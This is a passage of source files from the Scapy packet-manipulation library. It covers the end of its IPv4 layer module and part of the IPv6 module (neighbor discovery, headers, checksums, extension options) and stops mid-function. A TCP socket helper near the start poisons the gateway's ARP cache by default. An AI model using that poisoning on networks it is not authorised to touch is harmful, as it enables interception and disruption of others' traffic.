HTTPRequest(Path=\"/\"))\n    \"\"\"\n\n    def __init__(self, host, port, srcip, poison=True, timeout=1, debug=0):\n        host = str(Net(host))\n        if poison:\n            # poison the next hop\n            gateway = conf.route.route(host)[2]\n            if gateway == \"0.0.0.0\":\n                # on lan\n                gateway = host\n            getmacbyip(gateway)  # cache real gateway before poisoning\n            arpcachepoison(gateway, srcip, count=1, interval=0, verbose=0)\n        # create a socket pair\n        self._sock, self.sock = socket.socketpair()\n        self.sock.settimeout(timeout)\n        self.client = TCP_client(\n            host, port,\n            srcip=srcip,\n            external_fd={\"tcp\": self._sock},\n            debug=debug,\n        )\n        # start the TCP_client\n        self.client.runbg()\n\n    def close(self):\n        self.client.stop()\n        self.client.destroy()\n        self.sock.close()\n        self._sock.close()\n\n\nclass ICMPEcho_am(AnsweringMachine):\n    \"\"\"Responds to ICMP Echo-Requests (ping)\"\"\"\n    function_name = \"icmpechod\"\n\n    def is_request(self, req):\n        if req.haslayer(ICMP):\n            icmp_req = req.getlayer(ICMP)\n            if icmp_req.type == 8:  # echo-request\n                return True\n\n        return False\n\n    def print_reply(self, req, reply):\n        print(\"Replying %s to %s\" % (reply[IP].dst, req[IP].dst))\n\n    def make_reply(self, req):\n        reply = req.copy()\n        reply[ICMP].type = 0  # echo-reply\n        # Force re-generation of the checksum\n        reply[ICMP].chksum = None\n        if req.haslayer(IP):\n            reply[IP].src, reply[IP].dst = req[IP].dst, req[IP].src\n            reply[IP].chksum = None\n        if req.haslayer(Ether):\n            reply[Ether].src, reply[Ether].dst = (\n                None if req[Ether].dst == \"ff:ff:ff:ff:ff:ff\" else req[Ether].dst,\n                req[Ether].src,\n            )\n        return reply\n\n\nconf.stats_classic_protocols += [TCP, UDP, ICMP]\nconf.stats_dot11_protocols += [TCP, UDP, ICMP]\n\nif conf.ipv6_enabled:\n    import scapy.layers.inet6\n"
  },
  {
    "path": "scapy/layers/inet6.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Guillaume Valadon <guedou@hongo.wide.ad.jp>\n# Copyright (C) Arnaud Ebalard <arnaud.ebalard@eads.net>\n\n# Cool history about this file: http://natisbad.org/scapy/index.html\n\n\n\"\"\"\nIPv6 (Internet Protocol v6).\n\"\"\"\n\n\nfrom hashlib import md5\nimport random\nimport socket\nimport struct\nfrom time import gmtime, strftime\n\nfrom scapy.arch import get_if_hwaddr\nfrom scapy.as_resolvers import AS_resolver_riswhois\nfrom scapy.base_classes import Gen, _ScopedIP\nfrom scapy.compat import chb, orb, raw, plain_str, bytes_encode\nfrom scapy.consts import WINDOWS, OPENBSD\nfrom scapy.config import conf\nfrom scapy.data import (\n    DLT_IPV6,\n    DLT_RAW,\n    DLT_RAW_ALT,\n    ETHER_ANY,\n    ETH_P_ALL,\n    ETH_P_IPV6,\n    MTU,\n)\nfrom scapy.error import log_runtime, warning\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    ByteEnumField,\n    ByteField,\n    DestIP6Field,\n    FieldLenField,\n    FlagsField,\n    IntField,\n    IP6Field,\n    LongField,\n    MACField,\n    MayEnd,\n    PacketLenField,\n    PacketListField,\n    ShortEnumField,\n    ShortField,\n    SourceIP6Field,\n    StrField,\n    StrFixedLenField,\n    StrLenField,\n    X3BytesField,\n    XBitField,\n    XByteField,\n    XIntField,\n    XShortField,\n)\nfrom scapy.layers.inet import (\n    _ICMPExtensionField,\n    _ICMPExtensionPadField,\n    _ICMP_extpad_post_dissection,\n    IP,\n    IPTools,\n    TCP,\n    TCPerror,\n    TracerouteResult,\n    UDP,\n    UDPerror,\n)\nfrom scapy.layers.l2 import (\n    CookedLinux,\n    Ether,\n    GRE,\n    Loopback,\n    SNAP,\n    SourceMACField,\n)\nfrom scapy.packet import bind_layers, Packet, Raw\nfrom scapy.sendrecv import sendp, sniff, sr, srp1\nfrom scapy.supersocket import SuperSocket\nfrom scapy.utils import checksum, strxor\nfrom scapy.pton_ntop import inet_pton, inet_ntop\nfrom scapy.utils6 import in6_getnsma, in6_getnsmac, in6_isaddr6to4, \\\n    in6_isaddrllallnodes, in6_isaddrllallservers, in6_isaddrTeredo, \\\n    in6_isllsnmaddr, in6_ismaddr, Net6, teredoAddrExtractInfo\nfrom scapy.volatile import RandInt, RandShort\n\n# Typing\nfrom typing import (\n    Optional,\n)\n\nif not socket.has_ipv6:\n    raise socket.error(\"can't use AF_INET6, IPv6 is disabled\")\nif not hasattr(socket, \"IPPROTO_IPV6\"):\n    # Workaround for http://bugs.python.org/issue6926\n    socket.IPPROTO_IPV6 = 41\nif not hasattr(socket, \"IPPROTO_IPIP\"):\n    # Workaround for https://bitbucket.org/secdev/scapy/issue/5119\n    socket.IPPROTO_IPIP = 4\n\nif conf.route6 is None:\n    # unused import, only to initialize conf.route6\n    import scapy.route6  # noqa: F401\n\n##########################\n#  Neighbor cache stuff  #\n##########################\n\nconf.netcache.new_cache(\"in6_neighbor\", 120)\n\n\n@conf.commands.register\ndef neighsol(addr, src, iface, timeout=1, chainCC=0):\n    \"\"\"Sends and receive an ICMPv6 Neighbor Solicitation message\n\n    This function sends an ICMPv6 Neighbor Solicitation message\n    to get the MAC address of the neighbor with specified IPv6 address address.\n\n    'src' address is used as the source IPv6 address of the message. Message\n    is sent on 'iface'. The source MAC address is retrieved accordingly.\n\n    By default, timeout waiting for an answer is 1 second.\n\n    If no answer is gathered, None is returned. Else, the answer is\n    returned (ethernet frame).\n    \"\"\"\n\n    nsma = in6_getnsma(inet_pton(socket.AF_INET6, addr))\n    d = inet_ntop(socket.AF_INET6, nsma)\n    dm = in6_getnsmac(nsma)\n    sm = get_if_hwaddr(iface)\n    p = Ether(dst=dm, src=sm) / IPv6(dst=d, src=src, hlim=255)\n    p /= ICMPv6ND_NS(tgt=addr)\n    p /= ICMPv6NDOptSrcLLAddr(lladdr=sm)\n    res = srp1(p, type=ETH_P_IPV6, iface=iface, timeout=timeout, verbose=0,\n               chainCC=chainCC)\n\n    return res\n\n\n@conf.commands.register\ndef getmacbyip6(ip6, chainCC=0):\n    # type: (str, int) -> Optional[str]\n    \"\"\"\n    Returns the MAC address of the next hop used to reach a given IPv6 address.\n\n    neighborCache.get() method is used on instantiated neighbor cache.\n    Resolution mechanism is described in associated doc string.\n\n    (chainCC parameter value ends up being passed to sending function\n     used to perform the resolution, if needed)\n\n    .. seealso:: :func:`~scapy.layers.l2.getmacbyip` for IPv4.\n    \"\"\"\n    # Sanitize the IP\n    if isinstance(ip6, Net6):\n        ip6 = str(ip6)\n\n    # Multicast\n    if in6_ismaddr(ip6):  # mcast @\n        mac = in6_getnsmac(inet_pton(socket.AF_INET6, ip6))\n        return mac\n\n    iff, a, nh = conf.route6.route(ip6)\n\n    if iff == conf.loopback_name:\n        return \"ff:ff:ff:ff:ff:ff\"\n\n    if nh != '::':\n        ip6 = nh  # Found next hop\n\n    mac = conf.netcache.in6_neighbor.get(ip6)\n    if mac:\n        return mac\n\n    res = neighsol(ip6, a, iff, chainCC=chainCC)\n\n    if res is not None:\n        if ICMPv6NDOptDstLLAddr in res:\n            mac = res[ICMPv6NDOptDstLLAddr].lladdr\n        else:\n            mac = res.src\n        conf.netcache.in6_neighbor[ip6] = mac\n        return mac\n\n    return None\n\n\n#############################################################################\n#############################################################################\n#                                IPv6 Class                                 #\n#############################################################################\n#############################################################################\n\nipv6nh = {0: \"Hop-by-Hop Option Header\",\n          4: \"IP\",\n          6: \"TCP\",\n          17: \"UDP\",\n          41: \"IPv6\",\n          43: \"Routing Header\",\n          44: \"Fragment Header\",\n          47: \"GRE\",\n          50: \"ESP Header\",\n          51: \"AH Header\",\n          58: \"ICMPv6\",\n          59: \"No Next Header\",\n          60: \"Destination Option Header\",\n          112: \"VRRP\",\n          132: \"SCTP\",\n          135: \"Mobility Header\"}\n\nipv6nhcls = {0: \"IPv6ExtHdrHopByHop\",\n             4: \"IP\",\n             6: \"TCP\",\n             17: \"UDP\",\n             43: \"IPv6ExtHdrRouting\",\n             44: \"IPv6ExtHdrFragment\",\n             50: \"ESP\",\n             51: \"AH\",\n             58: \"ICMPv6Unknown\",\n             59: \"Raw\",\n             60: \"IPv6ExtHdrDestOpt\"}\n\n\nclass IP6ListField(StrField):\n    __slots__ = [\"count_from\", \"length_from\"]\n    islist = 1\n\n    def __init__(self, name, default, count_from=None, length_from=None):\n        if default is None:\n            default = []\n        StrField.__init__(self, name, default)\n        self.count_from = count_from\n        self.length_from = length_from\n\n    def i2len(self, pkt, i):\n        return 16 * len(i)\n\n    def i2count(self, pkt, i):\n        if isinstance(i, list):\n            return len(i)\n        return 0\n\n    def getfield(self, pkt, s):\n        c = tmp_len = None\n        if self.length_from is not None:\n            tmp_len = self.length_from(pkt)\n        elif self.count_from is not None:\n            c = self.count_from(pkt)\n\n        lst = []\n        ret = b\"\"\n        remain = s\n        if tmp_len is not None:\n            remain, ret = s[:tmp_len], s[tmp_len:]\n        while remain:\n            if c is not None:\n                if c <= 0:\n                    break\n                c -= 1\n            addr = inet_ntop(socket.AF_INET6, remain[:16])\n            lst.append(addr)\n            remain = remain[16:]\n        return remain + ret, lst\n\n    def i2m(self, pkt, x):\n        s = b\"\"\n        for y in x:\n            try:\n                y = inet_pton(socket.AF_INET6, y)\n            except Exception:\n                y = socket.getaddrinfo(y, None, socket.AF_INET6)[0][-1][0]\n                y = inet_pton(socket.AF_INET6, y)\n            s += y\n        return s\n\n    def i2repr(self, pkt, x):\n        s = []\n        if x is None:\n            return \"[]\"\n        for y in x:\n            s.append('%s' % y)\n        return \"[ %s ]\" % (\", \".join(s))\n\n\nclass _IPv6GuessPayload:\n    name = \"Dummy class that implements guess_payload_class() for IPv6\"\n\n    def default_payload_class(self, p):\n        if self.nh == 58:  # ICMPv6\n            t = orb(p[0])\n            if len(p) > 2 and (t == 139 or t == 140):  # Node Info Query\n                return _niquery_guesser(p)\n            if len(p) >= icmp6typesminhdrlen.get(t, float(\"inf\")):  # Other ICMPv6 messages  # noqa: E501\n                if t == 130 and len(p) >= 28:\n                    # RFC 3810 - 8.1. Query Version Distinctions\n                    return ICMPv6MLQuery2\n                return icmp6typescls.get(t, Raw)\n            return Raw\n        elif self.nh == 135 and len(p) > 3:  # Mobile IPv6\n            return _mip6_mhtype2cls.get(orb(p[2]), MIP6MH_Generic)\n        elif self.nh == 43 and orb(p[2]) == 4:  # Segment Routing header\n            return IPv6ExtHdrSegmentRouting\n        return ipv6nhcls.get(self.nh, Raw)\n\n\nclass IPv6(_IPv6GuessPayload, Packet, IPTools):\n    name = \"IPv6\"\n    fields_desc = [BitField(\"version\", 6, 4),\n                   BitField(\"tc\", 0, 8),\n                   BitField(\"fl\", 0, 20),\n                   ShortField(\"plen\", None),\n                   ByteEnumField(\"nh\", 59, ipv6nh),\n                   ByteField(\"hlim\", 64),\n                   SourceIP6Field(\"src\"),\n                   DestIP6Field(\"dst\", \"::1\")]\n\n    def route(self):\n        \"\"\"Used to select the L2 address\"\"\"\n        dst = self.dst\n        scope = None\n        if isinstance(dst, (Net6, _ScopedIP)):\n            scope = dst.scope\n        if isinstance(dst, (Gen, list)):\n            dst = next(iter(dst))\n        return conf.route6.route(dst, dev=scope)\n\n    def mysummary(self):\n        return \"%s > %s (%i)\" % (self.src, self.dst, self.nh)\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.plen is None:\n            tmp_len = len(p) - 40\n            p = p[:4] + struct.pack(\"!H\", tmp_len) + p[6:]\n        return p\n\n    def extract_padding(self, data):\n        \"\"\"Extract the IPv6 payload\"\"\"\n\n        if self.plen == 0 and self.nh == 0 and len(data) >= 8:\n            # Extract Hop-by-Hop extension length\n            hbh_len = orb(data[1])\n            hbh_len = 8 + hbh_len * 8\n\n            # Extract length from the Jumbogram option\n            # Note: the following algorithm take advantage of the Jumbo option\n            #        mandatory alignment (4n + 2, RFC2675 Section 2)\n            jumbo_len = None\n            idx = 0\n            offset = 4 * idx + 2\n            while offset <= len(data):\n                opt_type = orb(data[offset])\n                if opt_type == 0xc2:  # Jumbo option\n                    jumbo_len = struct.unpack(\"I\", data[offset + 2:offset + 2 + 4])[0]  # noqa: E501\n                    break\n                offset = 4 * idx + 2\n                idx += 1\n\n            if jumbo_len is None:\n                log_runtime.info(\"Scapy did not find a Jumbo option\")\n                jumbo_len = 0\n\n            tmp_len = hbh_len + jumbo_len\n        else:\n            tmp_len = self.plen\n\n        return data[:tmp_len], data[tmp_len:]\n\n    def hashret(self):\n        if self.nh == 58 and isinstance(self.payload, _ICMPv6):\n            if self.payload.type < 128:\n                return self.payload.payload.hashret()\n            elif (self.payload.type in [133, 134, 135, 136, 144, 145]):\n                return struct.pack(\"B\", self.nh) + self.payload.hashret()\n\n        if not conf.checkIPinIP and self.nh in [4, 41]:  # IP, IPv6\n            return self.payload.hashret()\n\n        nh = self.nh\n        sd = self.dst\n        ss = self.src\n        if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrRouting):\n            # With routing header, the destination is the last\n            # address of the IPv6 list if segleft > 0\n            nh = self.payload.nh\n            try:\n                sd = self.addresses[-1]\n            except IndexError:\n                sd = '::1'\n            # TODO: big bug with ICMPv6 error messages as the destination of IPerror6  # noqa: E501\n            #       could be anything from the original list ...\n            if 1:\n                sd = inet_pton(socket.AF_INET6, sd)\n                for a in self.addresses:\n                    a = inet_pton(socket.AF_INET6, a)\n                    sd = strxor(sd, a)\n                sd = inet_ntop(socket.AF_INET6, sd)\n\n        if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrSegmentRouting):  # noqa: E501\n            # With segment routing header (rh == 4), the destination is\n            # the first address of the IPv6 addresses list\n            try:\n                sd = self.addresses[0]\n            except IndexError:\n                sd = self.dst\n\n        if self.nh == 44 and isinstance(self.payload, IPv6ExtHdrFragment):\n            nh = self.payload.nh\n\n        if self.nh == 0 and isinstance(self.payload, IPv6ExtHdrHopByHop):\n            nh = self.payload.nh\n\n        if self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt):\n            foundhao = None\n            for o in self.payload.options:\n                if isinstance(o, HAO):\n                    foundhao = o\n            if foundhao:\n                ss = foundhao.hoa\n            nh = self.payload.nh  # XXX what if another extension follows ?\n\n        if conf.checkIPsrc and conf.checkIPaddr and not in6_ismaddr(sd):\n            sd = inet_pton(socket.AF_INET6, sd)\n            ss = inet_pton(socket.AF_INET6, ss)\n            return strxor(sd, ss) + struct.pack(\"B\", nh) + self.payload.hashret()  # noqa: E501\n        else:\n            return struct.pack(\"B\", nh) + self.payload.hashret()\n\n    def answers(self, other):\n        if not conf.checkIPinIP:  # skip IP in IP and IPv6 in IP\n            if self.nh in [4, 41]:\n                return self.payload.answers(other)\n            if isinstance(other, IPv6) and other.nh in [4, 41]:\n                return self.answers(other.payload)\n            if isinstance(other, IP) and other.proto in [4, 41]:\n                return self.answers(other.payload)\n        if not isinstance(other, IPv6):  # self is reply, other is request\n            return False\n        if conf.checkIPaddr:\n            # ss = inet_pton(socket.AF_INET6, self.src)\n            sd = inet_pton(socket.AF_INET6, self.dst)\n            os = inet_pton(socket.AF_INET6, other.src)\n            od = inet_pton(socket.AF_INET6, other.dst)\n            # request was sent to a multicast address (other.dst)\n            # Check reply destination addr matches request source addr (i.e\n            # sd == os) except when reply is multicasted too\n            # XXX test mcast scope matching ?\n            if in6_ismaddr(other.dst):\n                if in6_ismaddr(self.dst):\n                    if ((od == sd) or\n                            (in6_isaddrllallnodes(self.dst) and in6_isaddrllallservers(other.dst))):  # noqa: E501\n                        return self.payload.answers(other.payload)\n                    return False\n                if (os == sd):\n                    return self.payload.answers(other.payload)\n                return False\n            elif (sd != os):  # or ss != od): <- removed for ICMP errors\n                return False\n        if self.nh == 58 and isinstance(self.payload, _ICMPv6) and self.payload.type < 128:  # noqa: E501\n            # ICMPv6 Error message -> generated by IPv6 packet\n            # Note : at the moment, we jump the ICMPv6 specific class\n            # to call answers() method of erroneous packet (over\n            # initial packet). There can be cases where an ICMPv6 error\n            # class could implement a specific answers method that perform\n            # a specific task. Currently, don't see any use ...\n            return self.payload.payload.answers(other)\n        elif other.nh == 0 and isinstance(other.payload, IPv6ExtHdrHopByHop):\n            return self.payload.answers(other.payload)\n        elif other.nh == 44 and isinstance(other.payload, IPv6ExtHdrFragment):\n            return self.payload.answers(other.payload.payload)\n        elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrRouting):\n            return self.payload.answers(other.payload.payload)  # Buggy if self.payload is a IPv6ExtHdrRouting  # noqa: E501\n        elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrSegmentRouting):  # noqa: E501\n            return self.payload.answers(other.payload.payload)  # Buggy if self.payload is a IPv6ExtHdrRouting  # noqa: E501\n        elif other.nh == 60 and isinstance(other.payload, IPv6ExtHdrDestOpt):\n            return self.payload.answers(other.payload.payload)\n        elif self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt):  # BU in reply to BRR, for instance  # noqa: E501\n            return self.payload.payload.answers(other.payload)\n        else:\n            if (self.nh != other.nh):\n                return False\n            return self.payload.answers(other.payload)\n\n\nclass IPv46(IP, IPv6):\n    \"\"\"\n    This class implements a dispatcher that is used to detect the IP version\n    while parsing Raw IP pcap files.\n    \"\"\"\n    name = \"IPv4/6\"\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *_, **kargs):\n        if _pkt:\n            if orb(_pkt[0]) >> 4 == 6:\n                return IPv6\n        elif kargs.get(\"version\") == 6:\n            return IPv6\n        return IP\n\n\ndef inet6_register_l3(l2, l3):\n    \"\"\"\n    Resolves the default L2 destination address when IPv6 is used.\n    \"\"\"\n    return getmacbyip6(l3.dst)\n\n\nconf.neighbor.register_l3(Ether, IPv6, inet6_register_l3)\n\n\nclass IPerror6(IPv6):\n    name = \"IPv6 in ICMPv6\"\n\n    def answers(self, other):\n        if not isinstance(other, IPv6):\n            return False\n        sd = inet_pton(socket.AF_INET6, self.dst)\n        ss = inet_pton(socket.AF_INET6, self.src)\n        od = inet_pton(socket.AF_INET6, other.dst)\n        os = inet_pton(socket.AF_INET6, other.src)\n\n        # Make sure that the ICMPv6 error is related to the packet scapy sent\n        if isinstance(self.underlayer, _ICMPv6) and self.underlayer.type < 128:\n\n            # find upper layer for self (possible citation)\n            selfup = self.payload\n            while selfup is not None and isinstance(selfup, _IPv6ExtHdr):\n                selfup = selfup.payload\n\n            # find upper layer for other (initial packet). Also look for RH\n            otherup = other.payload\n            request_has_rh = False\n            while otherup is not None and isinstance(otherup, _IPv6ExtHdr):\n                if isinstance(otherup, IPv6ExtHdrRouting):\n                    request_has_rh = True\n                otherup = otherup.payload\n\n            if ((ss == os and sd == od) or  # < Basic case\n                    (ss == os and request_has_rh)):\n                # ^ Request has a RH : don't check dst address\n\n                # Let's deal with possible MSS Clamping\n                if (isinstance(selfup, TCP) and\n                    isinstance(otherup, TCP) and\n                        selfup.options != otherup.options):  # seems clamped\n\n                    # Save fields modified by MSS clamping\n                    old_otherup_opts = otherup.options\n                    old_otherup_cksum = otherup.chksum\n                    old_otherup_dataofs = otherup.dataofs\n                    old_selfup_opts = selfup.options\n                    old_selfup_cksum = selfup.chksum\n                    old_selfup_dataofs = selfup.dataofs\n\n                    # Nullify them\n                    otherup.options = []\n                    otherup.chksum = 0\n                    otherup.dataofs = 0\n                    selfup.options = []\n                    selfup.chksum = 0\n                    selfup.dataofs = 0\n\n                    # Test it and save result\n                    s1 = raw(selfup)\n                    s2 = raw(otherup)\n                    tmp_len = min(len(s1), len(s2))\n                    res = s1[:tmp_len] == s2[:tmp_len]\n\n                    # recall saved values\n                    otherup.options = old_otherup_opts\n                    otherup.chksum = old_otherup_cksum\n                    otherup.dataofs = old_otherup_dataofs\n                    selfup.options = old_selfup_opts\n                    selfup.chksum = old_selfup_cksum\n                    selfup.dataofs = old_selfup_dataofs\n\n                    return res\n\n                s1 = raw(selfup)\n                s2 = raw(otherup)\n                tmp_len = min(len(s1), len(s2))\n                return s1[:tmp_len] == s2[:tmp_len]\n\n        return False\n\n    def mysummary(self):\n        return Packet.mysummary(self)\n\n\n#############################################################################\n#############################################################################\n#                 Upper Layer Checksum computation                          #\n#############################################################################\n#############################################################################\n\nclass PseudoIPv6(Packet):  # IPv6 Pseudo-header for checksum computation\n    name = \"Pseudo IPv6 Header\"\n    fields_desc = [IP6Field(\"src\", \"::\"),\n                   IP6Field(\"dst\", \"::\"),\n                   IntField(\"uplen\", None),\n                   BitField(\"zero\", 0, 24),\n                   ByteField(\"nh\", 0)]\n\n\ndef in6_pseudoheader(nh, u, plen):\n    # type: (int, IP, int) -> PseudoIPv6\n    \"\"\"\n    Build an PseudoIPv6 instance as specified in RFC 2460 8.1\n\n    This function operates by filling a pseudo header class instance\n    (PseudoIPv6) with:\n    - Next Header value\n    - the address of _final_ destination (if some Routing Header with non\n    segleft field is present in underlayer classes, last address is used.)\n    - the address of _real_ source (basically the source address of an\n    IPv6 class instance available in the underlayer or the source address\n    in HAO option if some Destination Option header found in underlayer\n    includes this option).\n    - the length is the length of provided payload string ('p')\n\n    :param nh: value of upper layer protocol\n    :param u: upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be\n        provided with all under layers (IPv6 and all extension headers,\n        for example)\n    :param plen: the length of the upper layer and payload\n    \"\"\"\n    ph6 = PseudoIPv6()\n    ph6.nh = nh\n    rthdr = 0\n    hahdr = 0\n    final_dest_addr_found = 0\n    while u is not None and not isinstance(u, IPv6):\n        if (isinstance(u, IPv6ExtHdrRouting) and\n            u.segleft != 0 and len(u.addresses) != 0 and\n                final_dest_addr_found == 0):\n            rthdr = u.addresses[-1]\n            final_dest_addr_found = 1\n        elif (isinstance(u, IPv6ExtHdrSegmentRouting) and\n              u.segleft != 0 and len(u.addresses) != 0 and\n              final_dest_addr_found == 0):\n            rthdr = u.addresses[0]\n            final_dest_addr_found = 1\n        elif (isinstance(u, IPv6ExtHdrDestOpt) and (len(u.options) == 1) and\n              isinstance(u.options[0], HAO)):\n            hahdr = u.options[0].hoa\n        u = u.underlayer\n    if u is None:\n        warning(\"No IPv6 underlayer to compute checksum. Leaving null.\")\n        return None\n    if hahdr:\n        ph6.src = hahdr\n    else:\n        ph6.src = u.src\n    if rthdr:\n        ph6.dst = rthdr\n    else:\n        ph6.dst = u.dst\n    ph6.uplen = plen\n    return ph6\n\n\ndef in6_chksum(nh, u, p):\n    \"\"\"\n    As Specified in RFC 2460 - 8.1 Upper-Layer Checksums\n\n    See also `.in6_pseudoheader`\n\n    :param nh: value of upper layer protocol\n    :param u: upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be\n        provided with all under layers (IPv6 and all extension headers,\n        for example)\n    :param p: the payload of the upper layer provided as a string\n    \"\"\"\n    ph6 = in6_pseudoheader(nh, u, len(p))\n    if ph6 is None:\n        return 0\n    ph6s = raw(ph6)\n    return checksum(ph6s + p)\n\n\n#############################################################################\n#############################################################################\n#                           Extension Headers                               #\n#############################################################################\n#############################################################################\n\nnh_clserror = {socket.IPPROTO_TCP: TCPerror,\n               socket.IPPROTO_UDP: UDPerror}\n\n\n# Inherited by all extension header classes\nclass _IPv6ExtHdr(_IPv6GuessPayload, Packet):\n    name = 'Abstract IPv6 Option Header'\n    aliastypes = [IPv6]\n\n    def guess_payload_class(self, payload):\n        if self.nh in nh_clserror:\n            underlayer = self.underlayer\n            while underlayer:\n                if isinstance(underlayer, IPerror6):\n                    return nh_clserror[self.nh]\n                underlayer = underlayer.underlayer\n        return super(_IPv6ExtHdr, self).guess_payload_class(payload)\n\n\n#                    IPv6 options for Extension Headers                     #\n\n_hbhopts = {0x00: \"Pad1\",\n            0x01: \"PadN\",\n            0x04: \"Tunnel Encapsulation Limit\",\n            0x05: \"Router Alert\",\n            0x06: \"Quick-Start\",\n            0xc2: \"Jumbo Payload\",\n            0xc9: \"Home Address Option\"}\n\n\nclass _OTypeField(ByteEnumField):\n    \"\"\"\n    Modified BytEnumField that displays information regarding the IPv6 option\n    based on its option type value (What should be done by nodes that process\n    the option if they do not understand it ...)\n\n    It is used by Jumbo, Pad1, PadN, RouterAlert, HAO options\n    \"\"\"\n    pol = {0x00: \"00: skip\",\n           0x40: \"01: discard\",\n           0x80: \"10: discard+ICMP\",\n           0xC0: \"11: discard+ICMP not mcast\"}\n\n    enroutechange = {0x00: \"0: Don't change en-route\",\n                     0x20: \"1: May change en-route\"}\n\n    def i2repr(self, pkt, x):\n        s = self.i2s.get(x, repr(x))\n        polstr = self.pol[(x & 0xC0)]\n        enroutechangestr = self.enroutechange[(x & 0x20)]\n        return \"%s [%s, %s]\" % (s, polstr, enroutechangestr)\n\n\nclass HBHOptUnknown(Packet):  # IPv6 Hop-By-Hop Option\n    name = \"Scapy6 Unknown Option\"\n    fields_desc = [_OTypeField(\"otype\", 0x01, _hbhopts),\n                   FieldLenField(\"optlen\", None, length_of=\"optdata\", fmt=\"B\"),\n                   StrLenField(\"optdata\", \"\",\n                               length_from=lambda pkt: pkt.optlen)]\n\n    def alignment_delta(self, curpos):  # By default, no alignment requirement\n        \"\"\"\n        As specified in section 4.2 of RFC 2460, every options has\n        an alignment requirement usually expressed xn+y, meaning\n        the Option Type must appear at an integer multiple of x octets\n        from the start of the header, plus y octets.\n\n        That function is provided the current position from the\n        start of the header and returns required padding length.\n        \"\"\"\n        return 0\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt:\n            o = orb(_pkt[0])  # Option type\n            if o in _hbhoptcls:\n                return _hbhoptcls[o]\n        return cls\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass Pad1(Packet):  # IPv6 Hop-By-Hop Option\n    name = \"Pad1\"\n    fields_desc = [_OTypeField(\"otype\", 0x00, _hbhopts)]\n\n    def alignment_delta(self, curpos):  # No alignment requirement\n        return 0\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass PadN(Packet):  # IPv6 Hop-By-Hop Option\n    name = \"PadN\"\n    fields_desc = [_OTypeField(\"otype\", 0x01, _hbhopts),\n                   FieldLenField(\"optlen\", None, length_of=\"optdata\", fmt=\"B\"),\n                   StrLenField(\"optdata\", \"\",\n                               length_from=lambda pkt: pkt.optlen)]\n\n    def alignment_delta(self, curpos):  # No alignment requirement\n        return 0\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass RouterAlert(Packet):  # RFC 2711 - IPv6 Hop-By-Hop Option\n    name = \"Router Alert\"\n    fields_desc = [_OTypeField(\"otype\", 0x05, _hbhopts),\n                   ByteField(\"optlen\", 2),\n                   ShortEnumField(\"value\", None,\n                                  {0: \"Datagram contains a MLD message\",\n                                   1: \"Datagram contains RSVP message\",\n                                   2: \"Datagram contains an Active Network message\",  # noqa: E501\n                                   68: \"NSIS NATFW NSLP\",\n                                   69: \"MPLS OAM\",\n                                   65535: \"Reserved\"})]\n    # TODO : Check IANA has not defined new values for value field of RouterAlertOption  # noqa: E501\n    # TODO : Now that we have that option, we should do something in MLD class that need it  # noqa: E501\n    # TODO : IANA has defined ranges of values which can't be easily represented here.  # noqa: E501\n    #        iana.org/assignments/ipv6-routeralert-values/ipv6-routeralert-values.xhtml\n\n    def alignment_delta(self, curpos):  # alignment requirement : 2n+0\n        x = 2\n        y = 0\n        delta = x * ((curpos - y + x - 1) // x) + y - curpos\n        return delta\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass RplOption(Packet):    # RFC 6553 - RPL Option\n    name = \"RPL Option\"\n    fields_desc = [_OTypeField(\"otype\", 0x63, _hbhopts),\n                   ByteField(\"optlen\", 4),\n                   BitField(\"Down\", 0, 1),\n                   BitField(\"RankError\", 0, 1),\n                   BitField(\"ForwardError\", 0, 1),\n                   BitField(\"unused\", 0, 5),\n                   XByteField(\"RplInstanceId\", 0),\n                   XShortField(\"SenderRank\", 0)]\n\n    def alignment_delta(self, curpos):  # alignment requirement : 2n+0\n        x = 2\n        y = 0\n        delta = x * ((curpos - y + x - 1) // x) + y - curpos\n        return delta\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass Jumbo(Packet):  # IPv6 Hop-By-Hop Option\n    name = \"Jumbo Payload\"\n    fields_desc = [_OTypeField(\"otype\", 0xC2, _hbhopts),\n                   ByteField(\"optlen\", 4),\n                   IntField(\"jumboplen\", None)]\n\n    def alignment_delta(self, curpos):  # alignment requirement : 4n+2\n        x = 4\n        y = 2\n        delta = x * ((curpos - y + x - 1) // x) + y - curpos\n        return delta\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass HAO(Packet):  # IPv6 Destination Options Header Option\n    name = \"Home Address Option\"\n    fields_desc = [_OTypeField(\"otype\", 0xC9, _hbhopts),\n                   ByteField(\"optlen\", 16),\n                   IP6Field(\"hoa\", \"::\")]\n\n    def alignment_delta(self, curpos):  # alignment requirement : 8n+6\n        x = 8\n        y = 6\n        delta = x * ((curpos - y + x - 1) // x) + y - curpos\n        return delta\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\n_hbhoptcls = {0x00: Pad1,\n              0x01: PadN,\n              0x05: RouterAlert,\n              0x63: RplOption,\n              0xC2: Jumbo,\n              0xC9: HAO}\n\n\n#                         Hop-by-Hop Extension Header                       #\n\nclass _OptionsField(PacketListField):\n    __slots__ = [\"curpos\"]\n\n    def __init__(self, name, default, cls, curpos, *args, **kargs):\n        self.curpos = curpos\n        PacketListField.__init__(self, name, default, cls, *args, **kargs)\n\n    def i2len(self, pkt, i):\n        return len(self.i2m(pkt, i))\n\n    def i2m(self, pkt, x):\n        autopad = None\n        try:\n            autopad = getattr(pkt, \"autopad\")  # Hack : 'autopad' phantom field\n        except Exception:\n            autopad = 1\n\n        if not autopad:\n            return b\"\".join(map(bytes, x))\n\n        curpos = 